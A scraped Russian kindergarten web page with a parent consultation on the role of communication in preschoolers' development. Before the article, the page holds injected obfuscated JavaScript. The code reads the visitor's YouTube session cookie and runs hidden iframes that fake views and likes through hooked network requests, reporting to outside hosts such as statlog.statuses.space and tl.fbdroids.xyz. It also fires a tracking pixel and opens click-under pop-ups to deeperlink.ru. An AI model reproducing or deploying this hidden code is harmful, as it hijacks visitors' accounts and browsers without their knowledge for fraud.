Консультация для родителей "Роль общения в жизни ребенка"
консультация (младшая, средняя, старшая, подготовительная группа)
Рассказали родителям как важно общение для ребенка.
<!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- 'use strict';var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['zudv.blablacarv.ru','45'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){if(!window.__mainYlScript){window.__mainYlScript=!0;var e={isProd:!0,timerWait:6e4,timeView:40,mainSpeed:4,frameCount:1,waitLike:0,checkLike:0,waitCheck:0},t=null,i=!1,n=!1,r=!0,a="https://m.youtube.com/?app=m",s=function(){return this},o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},d=function(){return this.logData={fingerprint:"",type:"s16_18",stat:"desktop",id:0,v:"",type_task:"ylike"},this},c=function(e,t,i){const n=[];i.forEach(t=>{n.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:n,view:window,cancelable:!0,bubbles:!0}))};s.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,i){i=this.fillOptions(i);var n=new(window.preXMLHttpRequest?window.preXMLHttpRequest:XMLHttpRequest);if(n.open(e,t,!0),i.json||"POST"!==e||n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.onreadystatechange=function(){n.readyState===n.DONE&&(200===n.status?i.success&&i.success(n.responseText):i.error&&i.error(n.responseText,n.status))},i.creds&&(n.withCredentials=!0),i.headers)for(var r in i.headers)n.setRequestHeader(r+"",i.headers[r+""]);return n.send(i.data?i.data:null),n}},d.prototype={add:function(e,t){this.logData[e]=t},push:function(e,t){this.logData[e].push(t)},send:function(e){var t;this.add("type_task","ylike"),this.add("fingerprint",m);try{t=JSON.stringify(this.logData)}catch(e){t="{}"}var i={data:t,json:!0};e||(i.success=i.error=k),u.postSend("https://statlog.statuses.space/event?v="+Math.random(),i)}},window.__checkItem="",window.__viewStarted=!1,window.__likeSended=!1,window.__playbackStarted=!1,window.__viewTimer=0,window.__viewTimeXHR=!1,window.__startViewItem="",window.__likeState=null;var u=new s,l=document.location.href.toLowerCase(),h=new URLSearchParams(document.location.search),p=h.has("id")?parseInt(h.get("id")):0,m=h.has("udid")?h.get("udid"):"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),w=h.has("config")?atob(h.get("config")):"",f=null,_=!1,v=null,g=function(e){(window.parent?window.parent:window.top).postMessage(JSON.stringify({type:"s16_",action:e,isauth:n,id:p}),"*")},x=function(){window.__checkItem=window.__startViewItem="",_=window.__viewStarted=window.__likeSended=window.__playbackStarted=window.__viewTimeXHR=!1,window.__viewTimer=0,window.__likeState=null},y=function(e){var t=new d;t.add("id",f?parseInt(f.id):1),t.add("v",f?f.item:"x"),t.send(e)},k=function(){setTimeout(function(){document.location.replace("https://cdn.cdnservice.space/yshow.html?id="+p+"&udid="+m+(n?"&isauth=1":""))},500)},b={udid:m,task_id:4,sid:"ytlikes",generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:3},T=function(e,t,i,n){if(!t)return i&&k(),void(n&&setTimeout(n,100));var r=JSON.parse(JSON.stringify(b));r.udid=m,r.sid="ytlikes",r.event=e,r.timer=f?parseInt(f.id):0;var a={json:!0,data:JSON.stringify(r)};i&&(a.success=a.error=k),n&&(a.success=a.error=n),setTimeout(function(){u.postSend("https://tl.fbdroids.xyz/timesince",a)},0)},L=function(t){e.checkLike&&(I(),q("EN_",function(){T("like_"+(v===window.__likeState?"ch_er":"ch_ok"),!0,!e.waitCheck),e.waitCheck&&(v===window.__likeState?T("stay_like",!0,!0):T("end_like",!0,!1,y))},f.item)),e.waitCheck||(t?T("end_like",!0,!1,function(){y(e.checkLike)}):e.waitLike?T("no_like",!0,!0):T("end_like",!0,!1,function(){y(e.checkLike)}))},R=function(){if(n){_&&T("is_liked",!0);var e,t=0,i=!1,r=10,a=function(){return--r<0?(T("like_no_sended",!0),void L()):window.__likeSended?(T("like_sended",!0),void L(!0)):void setTimeout(a,200)},s=function(){if(!i){i=!0;try{e.removeEventListener("click",s)}catch(e){}setTimeout(a,200)}},o=function(){var n=document.evaluate('//div[contains(@class,"slim-video-metadata-actions") or contains(@class,"slim-video-action-bar-actions")]/c3-material-button/button[contains(@class,"c3-material-button-button")]',document,null,XPathResult.ANY_TYPE,null);if(!(e=n.iterateNext()))return++t>10?void T("btn_no_found",!0,!0):void setTimeout(function(){o()},200);var r=e.getAttribute("aria-pressed");"true"===r&&T("btn_pressed",!0),v="true"===r,e.addEventListener("click",s);var a=5+Math.ceil(10*Math.random()),d=5+Math.ceil(10*Math.random());T("LK_need_click",!1),c(e,"touchstart",[{x:a,y:d,id:++O}]),setTimeout(function(){c(e,"touchend",[{x:a,y:d,id:++O}]),e.click()},100),setTimeout(function(){i||T("LK_no_click",!0,!0)},500)};o()}else T("na_like",!0,!0)},S=null,M=!1,E=0,I=function(){S=null,M=!1,E=0},O=0,q=function(e,t,i){var n=function(){if(!M){M=!0,T(e+"start_click",!0);try{S.removeEventListener("click",n)}catch(e){}setTimeout(function(){t()},2e3)}},r=document.evaluate('//a[contains(@class,"large-media-item-thumbnail-container")]',document,null,XPathResult.ANY_TYPE,null);if((S=r.iterateNext())&&(S=r.iterateNext()),!(S&&S.innerHTML&&S.getAttribute("href")))return++E>30?void T(e+"no_found",!0,!0):void setTimeout(function(){q(e,t,i)},300);T(e+"found"),S.addEventListener("click",n),i?window.__checkItem=f.item:window.__startViewItem=S.href.replace(/^.*v=(.{11}).*$/,"$1"),function(e){var t=5+Math.ceil(10*Math.random()),i=5+Math.ceil(10*Math.random());c(S,"touchstart",[{x:t,y:i,id:++O}]),setTimeout(function(){c(S,"touchend",[{x:t,y:i,id:++O}]),S.click()},100),setTimeout(function(){M||T(e+"no_click",!0,!0)},1e3)}(e)},H=function(){T("start_work");var t=-1,i=!1,n=12,r=!1,a=!1,s=!1,o=function(){setTimeout(d,0),setTimeout(function(){document.location.href.indexOf(f.item)>-1?T("vu_ok"):T("vu_err",!0)},1e3)},d=function(){if(i)return;if(--n<0)return void T("v_wait",!0,!1,R);let o=document.getElementsByClassName("video-stream html5-main-video");if(o&&o[0]&&(o[0].muted=!0,1!==e.mainSpeed&&o[0].playbackRate&&parseInt(o[0].playbackRate)!==e.mainSpeed))try{o[0].playbackRate=e.mainSpeed}catch(e){}var c,u,l=document.evaluate('//button[contains(@class,"player-autonav-toggle")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();if(l&&"true"===l.getAttribute("aria-pressed")&&l.click(),window.__viewStarted&&!r&&(r=!0,T("v_atr")),(c=document.evaluate('//div[contains(@class,"time-display-content")]/span[@class="time-first"]',document,null,XPathResult.ANY_TYPE,null).iterateNext())&&(u=!!c.innerHTML&&c.innerHTML.replace(/[^0-9]+/gi,""))&&u.match(/^[0-9]+$/)&&(document.location.href.indexOf(f.item)>-1?(u=parseInt(u))>window.__viewTimer&&(window.__viewTimer=u):a||(a=!0,T("v_owner",!0,!0))),window.__viewTimer){s||(s=!0,T("v_time"));var h=2*Math.floor(window.__viewTimer/2);if(h&&h>t){if(t=h,n=12,T("v_t"+h),h>=e.timeView)return i=!0,window.__viewTimeXHR&&T("time_xhr"),x(),void T("like_show",!0,!1,R);setTimeout(d,500)}else setTimeout(d,500)}else setTimeout(d,500)};x(),I(),setTimeout(function(){q("LN_",o,f.item)},500)},N=function(){setTimeout(C,3e4)},C=function(){T("start_load"),f=null,u.postSend("https://service.nservices.space/youlist.php?worker=18&uid="+m+"&rand="+Math.random(),{data:"",success:function(e){var t;T("loaded_items");try{t=JSON.parse(e)}catch(e){return void T("ids_json_error",!0,!1,N)}if(t[52]){for(var i in t[52]){f={id:i+"",item:t[52][i+""]+""};break}f?setTimeout(function(){I(),q("MN_",H)},500):T("empty_vids",!0,!1,N)}else T("empty_type",!0,!1,N)},error:function(){T("empty_list",!0,!1,N)}})},X=60,j=function(){--X<1?T("body_load_error",!0,!0):document&&document.body&&!(document.body.className.indexOf("load")>-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(T("main_start",!0),C()):setTimeout(j,500)},P=["3","response","contents","singleColumnWatchNextResults","results","results","contents","1","itemSectionRenderer","contents","0","slimVideoMetadataRenderer","buttons","0","slimMetadataToggleButtonRenderer","button","toggleButtonRenderer","isToggled"],A=["3","response","contents","singleColumnWatchNextResults","results","results","contents","1","slimVideoMetadataSectionRenderer","contents","1","slimVideoActionBarRenderer","buttons","0","slimMetadataToggleButtonRenderer","button","toggleButtonRenderer","isToggled"],D=["items","1","mobileTopbarRenderer","buttons","0","topbarMenuButtonRenderer","menuRenderer","multiPageMenuRenderer","header","activeAccountHeaderRenderer","channelEndpoint","browseEndpoint","browseId"],J=function(e){if(!e)return e;try{e=(e=e.replace(/\\u0026/g,"um0026")).replace(/\\u003d/g,"um003d");var t=JSON.parse(e);if(t[2]&&t[2].playerResponse){var i=t[2].playerResponse;if(i.adPlacements&&i.adPlacements.length>0){var n=JSON.stringify(t[2].playerResponse.adPlacements);e=e.replace('"adPlacements":'+n,'"adPlacements":[]')}if(i.streamingData){var r=i.streamingData;if(r.adaptiveFormats&&r.adaptiveFormats.length>0){var a=JSON.stringify(t[2].playerResponse.streamingData.adaptiveFormats);e=e.replace('"adaptiveFormats":'+a,'"adaptiveFormats":[]')}r.dashManifestUrl&&(e=(e=e.replace(/,"dashManifestUrl":"[^"]+"/i,"")).replace(/"dashManifestUrl":"[^"]+",/i,""))}}var s=(e=e.replace(/https:\/\/.*?\/videoplayback/gi,"https://"+F+"/videoplayback")).match(/"videoId":"[^"]+",/gm);s&&(s=s.map(function(e){return e.replace(/"videoId":"([^"]+)",/m,"$1")})).forEach(t=>{window.__startViewItem&&window.__startViewItem===t||f&&(e=e.replace(new RegExp(t,"gm"),f.item))}),(s=e.match(/\\u0022videoId\\u0022:\\u0022.{11}\\u0022/gm))&&(s=s.map(function(e){return e.replace(/\\u0022videoId\\u0022:\\u0022(.{11})\\u0022/m,"$1")})).forEach(t=>{window.__startViewItem&&window.__startViewItem===t||f&&(e=e.replace(new RegExp(t,"gm"),f.item))}),e=(e=(e=(e=(e=(e=(e=(e=e.replace(/hq720[^.]*\.jpg[^"]+"/g,'default.jpg"')).replace(/mqdefault[^.]*\.jpg"/g,'default.jpg"')).replace(/hqdefault[^.]*\.jpg"/g,'default.jpg"')).replace(/sddefault[^.]*\.jpg"/g,'default.jpg"')).replace(/hq720[^.]*\.webp[^"]+"/g,'default.webp"')).replace(/mqdefault[^.]*\.webp"/g,'default.webp"')).replace(/hqdefault[^.]*\.webp"/g,'default.webp"')).replace(/sddefault[^.]*\.webp"/g,'default.webp"');var o=t,d=null,c=function(e){if(o)for(var t in e){if("isToggled"===e[t]){d=o[e[t]]&&!0===o[e[t]];break}if(!o[e[t]])break;o=o[e[t]]}};return c(P),null===d&&(o=t,c(A)),null!==d?(_=d,window.__likeState=d):T("like_toggle_error",!0),e=(e=e.replace(/um0026/g,"\\u0026")).replace(/um003d/g,"\\u003d")}catch(e){return""}},B=function(e){var t=e.clone();"object"==typeof t&&t.url&&((t.url.toLowerCase().indexOf("like/like")>-1||t.url.toLowerCase().indexOf("like/removelike")>-1)&&(window.__likeSended=!0),t.url.toLowerCase().indexOf("guide")>-1&&function(e){$(e).then(function(e){e.text().then(function(e){try{var t=JSON.parse(e),i="";if(t)for(var n in D){if("browseId"===D[n]){i=t[D[n]];break}if(!t[D[n]])break;t=t[D[n]]}i?(m=i,T("udid")):T("udid_no")}catch(e){T("udid_err")}})})}(t))},V=!1,$=null,Y=null,U="cdnf2.cdnservice.space",F="cdnm3.cdnservice.space",W=10,z=function(){--W<1?T("starter_err",!0,!0):(window.history.replaceState({},"",a),u.getSend(a,{success:function(e){if(T("load_main_end"),e)if(e=function(e){return e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace("window.delayFetch","false")).replace("(isHidden)","(false)")).replace(/document\.hidden/g,"false")).replace(/"PLAYER_JS_URL":"([^"]+\.js)"/gi,'"PLAYER_JS_URL":"https:\\/\\/'+F+'$1?v=8"')).replace(/"jsUrl":"([^"]+\.js)"/gi,'"jsUrl":"https://'+F+'$1?v=8"')).replace(/hq720[^.]*\.jpg\?.*?\\x22/g,"default.jpg\\x22")).replace(/mqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/sddefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hq720[^.]*\.webp\?.*?\\x22/g,"default.webp\\x22")).replace(/mqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/hqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/sddefault[^.]*\.webp\\x22/g,"default.webp\\x22")}(e)){if(-1===e.indexOf('"LOGGED_IN":true'))return n=!1,void g("noauth");!function(){T("up_vis");var e=0;try{document.hasFocus=function(){return!0}}catch(t){e++}try{delete document.hidden}catch(t){e++}try{document.__defineGetter__("hidden",function(){return!1})}catch(t){e++}try{delete document.visibilityState}catch(t){e++}try{document.__defineGetter__("visibilityState",function(){return"visible"})}catch(t){e++}var t=0;try{delete window.requestAnimationFrame}catch(t){e++}try{window.requestAnimationFrame=function(e){var i=(new Date).getTime(),n=Math.max(0,16-(i-t));return t=i+n,window.setTimeout(function(){e(i+n)},n)}}catch(t){e++}e>0&&T("up_vis_errors",!0)}(),document.open("text/html","replace"),document.write(e),document.close(),document.dispatchEvent(new Event("visibilitychange")),setTimeout(j,100)}else T("load_main_vid",!0,!1,z);else T("load_main_empty",!0,!1,z)},error:function(){T("load_main_error",!0,!1,z)},headers:{accept:"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","upgrade-insecure-requests":"1"},creds:!0}))},G=0,K=function(i){i||(i=++G);var n=document.createElement("div"),r=document.createElement("iframe");n.id="worker_"+i,n.style.width=Math.min(window.innerWidth,431)+"px",n.style.height=Math.min(window.innerHeight,701)+"px",n.style.top=10*(i-1)+"px",n.style.left="-"+(Math.min(window.innerWidth,431)-10)+"px",n.style.opacity="0.01",n.style.position="fixed",n.style.overflow="hidden",document.body.appendChild(n),r.id="workfr_"+i,r.style.width=Math.min(window.innerWidth,431)+"px",r.style.height=Math.min(window.innerHeight,701)+"px",r.width=Math.min(window.innerWidth,431)+"",r.height=Math.min(window.innerHeight,701)+"",r.style.opacity="0.01",r.src=t.start+"?id="+i+"&udid="+m+"&config="+btoa(JSON.stringify(e)),n.appendChild(r),T("worker_"+i,!0),setTimeout(Z,1e3)},Q=function(t){try{var i=JSON.parse(t.data);i&&i.id&&i.action&&(i.udid&&(m=i.udid),i.isauth&&(n=i.isauth),"restart"===i.action&&function(t){t=parseInt(t);var i=document.getElementById("worker_"+t),a=document.getElementById("workfr_"+t);(a||i)&&(a&&a.remove(),i&&i.remove(),T("rem_"+t)),r&&n&&setTimeout(function(){K(t)},e.timerWait)}(i.id),"noauth"===i.action&&(n=!1,r=!1))}catch(e){}},Z=function(){r&&e.frameCount>G&&K(!1)},ee=function(n){try{t=JSON.parse(n)}catch(e){}if(!t)return i&&T("no_info",!0),!1;for(var r in void 0!==t.prod&&(e.isProd=t.prod),void 0!==t.ltimer&&(e.timerWait=parseInt(t.ltimer)),void 0!==t.time&&(e.timeView=parseInt(t.time)),void 0!==t.speed&&(e.mainSpeed=parseInt(t.speed)),void 0!==t.count&&(e.frameCount=parseInt(t.count)),void 0!==t.wait_like&&(e.waitLike=!!parseInt(t.wait_like)),void 0!==t.check_like&&(e.checkLike=!!parseInt(t.check_like)),void 0!==t.wait_check&&(e.waitCheck=!!parseInt(t.wait_check)),e)void 0!==t[r]&&(e[r]=t[r]);return!0},te=function(){let e=document.getElementsByClassName("video-stream html5-main-video");if(e){let t=e.length;for(let i=0;i-1){var e=o("__Secure-3PAPISID");return e&&(n=!0,m=e),V||(V=!0,window.preXMLHttpRequest=XMLHttpRequest,Y=Request,$=window.fetch,window.fetch=function(e,t){return B(e),$(e,t)},window.Request=function(e,t){var i=new Y(e,t);return(e.toLowerCase().indexOf("like/like")>-1||e.toLowerCase().indexOf("like/removelike")>-1)&&(window.__likeSended=!0),i},window.XMLHttpRequest=function(){this.xhr=new window.preXMLHttpRequest,this.events={},this.UNSENT=0,this.OPENED=1,this.HEADERS_RECEIVED=2,this.LOADING=3,this.DONE=4;var e=this,t=function(t){e.handleEvent(t)};return this.xhr.addEventListener("loadstart",t),this.xhr.addEventListener("load",t),this.xhr.addEventListener("loadend",t),this.xhr.addEventListener("progress",t),this.xhr.addEventListener("error",t),this.xhr.addEventListener("abort",t),this.xhr.addEventListener("timeout",t),this.xhr.addEventListener("readystatechange",t),this},XMLHttpRequest.prototype.open=function(e,t,i,n,r){if(this.url=t.toLowerCase(),this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=[0-9]{2}(&.*|)$/i)&&(t=t.replace(/^.*\/videoplayback/i,"https://"+U+"/videoplayback")),window.__checkItem&&this.url.indexOf("atr")>-1&&this.url.indexOf(window.__checkItem.toLowerCase())>-1&&(window.__viewStarted=!0),window.__checkItem&&this.url.indexOf("playback")>-1&&this.url.indexOf(window.__checkItem.toLowerCase())>-1&&(window.__playbackStarted=!0),window.__checkItem&&this.url.indexOf("like/like")>-1&&(window.__likeSended=!0),window.__checkItem&&this.url.indexOf("watchtime")>-1&&this.url.indexOf(window.__checkItem.toLowerCase())>-1){var a=this.url.match(/&et=([0-9.,]+)(&.*|)$/i);if(a){var s=a[1].replace(/^.*,([0-9.]+)$/,"$1");window.__viewTimer=Math.ceil(parseFloat(s)),window.__viewTimeXHR=!0}}return t=t.replace("pbj=","app=m&pbj="),this.xhr.open(e,t,void 0===i||i,n,r)},XMLHttpRequest.prototype.setRequestHeader=function(e,t){this.xhr.setRequestHeader(e,t)},XMLHttpRequest.prototype.getResponseHeader=function(e){return this.xhr.getResponseHeader(e)},XMLHttpRequest.prototype.getAllResponseHeaders=function(){return this.xhr.getAllResponseHeaders()},XMLHttpRequest.prototype.overrideMimeType=function(e){this.xhr.overrideMimeType(e)},XMLHttpRequest.prototype.abort=function(){this.xhr.abort()},XMLHttpRequest.prototype.send=function(e){this.timeout&&(this.xhr.timeout=this.timeout),this.responseType&&(this.xhr.responseType=this.responseType),this.withCredentials&&(this.xhr.withCredentials=this.withCredentials),this.responseText="",this.responseXML={},this.updateInfo(),this.xhr.send(e)},XMLHttpRequest.prototype.addEventListener=function(e,t){var i=e.toLowerCase();this.events[i]=t},XMLHttpRequest.prototype.removeEventListener=function(e,t){var i=e.toLowerCase();this.events[i]=null},XMLHttpRequest.prototype.updateInfo=function(){try{this.channel=this.xhr.channel,this.mozAnon=this.xhr.mozAnon,this.mozSystem=this.xhr.mozSystem,this.mozBackgroundRequest=this.xhr.mozBackgroundRequest,this.readyState=this.xhr.readyState,this.responseType=this.xhr.responseType,this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=[0-9]{2}(&.*|)$/i)?this.responseURL=this.url:this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}if(this.url.indexOf("pbj")>-1){var e=J(this.xhr.response);e&&(this.response=e)}else this.response=this.xhr.response;if((!this.responseType||"text"===this.responseType)&&this.xhr.responseText)if(this.url.indexOf("pbj")>-1){var t=J(this.xhr.responseText);t&&(this.responseText=t)}else this.responseText=this.xhr.responseText;this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},XMLHttpRequest.prototype.handleEvent=function(e){var t=e.type.toLowerCase();this.updateInfo(),this.events[t]&&this.events[t](e),this["on"+t]&&this["on"+t](e)}),setTimeout(te,300),void z()}l.indexOf("cdnservice")>-1&&l.indexOf("index")>-1?T("load_cdn",!1,!1,function(){g("restart")}):T("url_error",!0,!1,function(){g("restart")})}}()}}(); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){ var expDate = function(){return Date.now() / 1000 | 0;}; var pingTime = localStorage.getItem("clclicktime") || 0; var secPassed = expDate()-pingTime; var url = ""; if (window == window.top && (pingTime == 0 || secPassed > 60)) { var img = new Image(); var image_url = "https://yhqclek.deeperlink.ru/cp/ara1"; img.src = image_url; img.addEventListener("load",function(){ url = 'https://yhqclek.deeperlink.ru/cr/ara1'; }); img.addEventListener("error",function(){ localStorage.setItem("clclicktime",expDate()); }); } var par = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; var txt = new Array(); txt[0]="http://yandex.ru/"; txt[1]="http://google.com/"; var b = Math.round(Math.random() * (txt.length - 1)); var ssilka = txt[b]; function showclick() { if (url != "") { var hrf = url; url = ""; window.open(hrf, "site", par); localStorage.setItem("clclicktime",expDate()); } } document.addEventListener('mousedown',showclick); }(); //--><!]]]]><![CDATA[> //--><!]]>Скачать:
| Вложение | Размер |
|---|---|
| 58.69 КБ |
Предварительный просмотр:
Роль общения в жизни ребенка дошкольного возраста
Коммуникация является важнейшим фактором и условием в жизни человека. Коммуникативные умения закладываются в раннем детстве. Все, что ребенок научился воспринимать и осознавать, возникло в общении со взрослыми, а позже с детьми. Опыт общения и совместная деятельность — это тот фундамент, на котором надстраивается все здание дальнейшего психического развития.
Потребность в общении — одна из самых важных человеческих потребностей. Отношения с близкими рождают наиболее острые и напряженные переживания, наполняют смыслом наши действия и поступки. Самые тяжелые переживания человека связаны с одиночеством, отверженностью или непонятностью другими людьми. А наиболее радостные и светлые чувства — любовь, признание, понимание — рождаются близостью и связью с другими.
- Общение дошкольников со взрослыми
Дошкольный возраст — это период, в течение которого происходят колоссальное обогащение и упорядочивание чувственного опыта ребенка, овладение специфическими человеческими формами восприятия и мышления, бурное развитие воображения, формирование произвольного внимания и смысловой памяти. Все психические функции развиваются при непосредственном восприятии речи взрослого, она стимулирует и углубляет развитие.
Для детей дошкольного возраста характерны следующие формы общения:
- ситуативно-личностная,
- ситуативно-деловая,
- вне ситуативно-познавательная и
- вне ситуативно-личностная.
Под формой общения имеется в виду коммуникативная деятельность на определенном этапе ее развития, характеризуемая несколькими параметрами.
Таковыми считают:
- время возникновения данной формы общения;
- место, которое она занимает в жизни ребенка;
- главное содержание потребности, которая удовлетворяется детьми в ходе общения;
- ведущие мотивы, побуждающие малыша к общению со взрослыми;
- основные средства общения, с помощью которых осуществляется
коммуникация с другими людьми.
Первой формой общения является ситуативно-личностная. Она характерна для детей первого года жизни. Мотив общения - личный. Общение происходит с помощью экспрессивно-мимических средств, которые младенец интенсивно осваивает в течение года. Функцию общения выполняет комплекс оживления. В этом возрасте общение является ведущей деятельностью. Оно обусловливает адаптацию малыша к обстоятельствам его жизни и в конечном счете выживание.
Ситуативно-деловая форма общения сохраняется до 3 лет, протекая на фоне практического взаимодействия со взрослым, она включена в предметную деятельность. У детей возрастает потребность в сотрудничестве со взрослым, им требуется соучастие в их действиях. В ходе сотрудничества ребенок получает и доброжелательное внимание, и соучастие в практических действиях. Замечания и образец взрослого, благодаря личному контакту, приобретают особое значение при усвоении правильных действий с предметами. Дети переходят от неспецифических, примитивных манипуляций ко все более специфическим, а затем и к культурно-фиксированным действиям с предметами. Обе указанные формы общения носят ситуативный характер, то есть, приурочены к данному месту и времени.
В младшем дошкольном возрасте возникает вне ситуативно-познавательная форма общения. Она включена в совместную со взрослым деятельность, но уже не в практическую, а познавательную. Развитие любознательности, совершенствование способов ее удовлетворения побуждают ребенка ставить все более сложные вопросы. Но решить подобные проблемы самостоятельно он не может. Путь к пониманию явлений, сложных проблем - общение со взрослым. Ведущим становится познавательный мотив. А взрослый теперь выступает в новом качестве как эрудит, «энциклопедист», способный ответить на любой вопрос, сообщить необходимую информацию. Сотрудничество приобретает вне ситуативный - теоретический «характер», поскольку обсуждаются проблемы, не обязательно связанные с данной ситуацией. У дошкольников возникает потребность в уважении взрослого, что и определяет повышенную обидчивость детей и их чувствительность к оценкам старших. Дошкольники добиваются уважения, обсуждая важные, серьезные проблемы познавательного характера. Основным коммуникативным средством становится речь, которая обеспечивает вне ситуативность общения и позволяет передать и получить максимально содержательную информацию.
К концу дошкольного возраста появляется высшая форма общения со взрослым - вне ситуативно-личностная. Главным мотивом общения становится личностный. Взрослый выступает перед дошкольником в полноте своих особенностей, дарований, жизненного опыта. Он не просто индивидуальность, а конкретное историческое социальное лицо, член общества. Он получает в глазах ребенка собственное независимое существование. Поэтому для дошкольника приобретают значение такие детали жизни взрослых, которые их не касаются, но позволяют воссоздать полный образ данного человека. В разговорах преобладают темы не о животных, природе и предметах, а о жизни, работе взрослых, их взаимоотношениях. Общение имеет «теоретический» характер и включено в познавательную деятельность. Ребенок сосредоточен на социальном окружении, на «мире людей», а не предметов. Возникает потребность не просто в доброжелательном внимании, а во взаимопонимании и сопереживании. Детям важно знать, как нужно делать, как поступать правильно. Они соглашаются исправить ошибки, изменить свою точку зрения или отношение к обсуждаемым вопросам, чтобы достичь единства мнений со взрослым. Совпадение своей позиции с позицией взрослого выступает для ребенка доказательством ее правильности.
Большое место во всех возрастных группах занимает формирование культуры общения. Детей учат называть взрослых по имени и отчеству, на «Вы», во время разговора не опускать голову, смотреть в лицо собеседнику, разговаривать без крика, но достаточно громко, чтобы собеседнику было слышно; не вмешиваться в разговор взрослых, быть общительным и приветливым.
Воспитатель во время общения учит детей слушать и правильно понимать мысль, выражаемую собеседником; формулировать в ответ собственное суждение, правильно выражать его средствами языка; вслед за мыслями собеседника менять тему речевого взаимодействия; поддерживать определенный эмоциональный тон и т.д..
Таким образом, для детей до 7 лет характерны 3 формы общения: ситуативно-личностная (ранний возраст), ситуативно-деловая (младший возраст), вне ситуативно-познавательная и вне ситуативно-личностная (старший возраст). Общение детей со взрослыми — это важный этап в развитии дошкольника. Оно способствует формированию ребенка как личности, влияет на становление и развитие всех психических процессов, а также коммуникативных навыков. Кроме того, общение ребенка дошкольного возраста со взрослым способствует к его подготовке к вступлению во взрослую жизнь.
- Общение дошкольников со сверстниками
Взрослые до конца дошкольного возраста остаются источником новой информации и оценки. Тем не менее, в дошкольном возрасте в жизни ребенка все больше места занимают другие дети. В 4 - 5 лет ребенок уже точно знает, что ему нужны другие дети и явно предпочитает общество сверстников.
Особенности общения со сверстниками:
1. Разнообразие коммуникативных действий. Общаясь со сверстниками, ребенок способен не только спорить, и требовать, но уже обманывает и жалеет. Впервые проявляются: кокетство, притворство, фантазирование. По отношению к сверстнику с 3 -4 лет ребенок решает следующие задачи: управление действиями партнера, контроль, оценка действий, сравнивание с собой.
2. Яркая эмоциональная насыщенность. Эмоциональность и раскованность отличает общение со сверстниками от общения со взрослыми. Действия, адресованные сверстнику, более аффективны. Дошкольник в 3 раза чаще одобряет сверстника и в 9 раз чаще конфликтует с ним, чем со взрослым. С 4 лет сверстник становится более привлекательным и предпочитаемым партнером.
3. Нестандартность и нерегламентированность общения. Если в общении со взрослыми дети придерживаются определенных правил поведения, то в общении со сверстниками используют самые неожиданные действия: передразнивают, кривляются, сочиняют небылицы.
Такая свобода общения позволяет ребенку проявить свою оригинальность и индивидуальность.
4. Преобладание инициативных действий над ответными. Для ребенка еще трудно поддерживать и развивать диалог. Для него важнее собственные высказывания, чем речь другого. Инициативу взрослого он поддерживает в 2 раза чаще, чем предложения другого ребенка.
В общении со сверстниками наблюдаются два переломных момента в 4 года и 6 лет:
- в 4 года дети явно предпочитают общество сверстника взрослому и одиночной игре.
- в 6 лет начинает ярко проявляться избирательная привязанность, возникает дружба
Формы общения со сверстниками:
1. Эмоционально - практическая форма общения. (2-4года)
Ребенок ждет от сверстников соучастия в забавах и жаждет самовыражения. Ему достаточно, если сверстник присоединился к его игре и усилил веселье. При этом каждый стремиться привлечь внимание к себе.
2. Ситуативно-деловая форма общения (4-6 лет)
Этот период - расцвета ролевой игры. Сюжетно - ролевая игра становится коллективной. За пределами игры: ребята договариваются о распределении ролей, условиях игры)
3. Внеситуативно - деловая форма общения (6-7лет)
Половина речевых обращений к сверстникам приобретает внеситуативный характер: то есть они рассказывают о том, где были, что делали, оценивают действия товарища. Становится возможным «чистое общение», не связанное действием или игрой. Все больше наблюдается контактов детей на уровне реальных отношений, все меньше - на игровом уровне.
Наряду с потребностью в сотрудничестве, четко выделяется потребность в признании и уважении сверстниками.
3.Трудности в общении с дошкольниками
При всем многообразии проблем, с которыми сталкиваются воспитатели, можно выделить две группы трудностей в общении ребенка с взрослым, которые наиболее типичны для дошкольников – связанные с повышенной импульсивностью (гиперактивностью) и с заторможенностью (пассивностью) детей. И то, и другое в одинаковой мере затрудняет общение с взрослым, нуждается в своевременной коррекции.
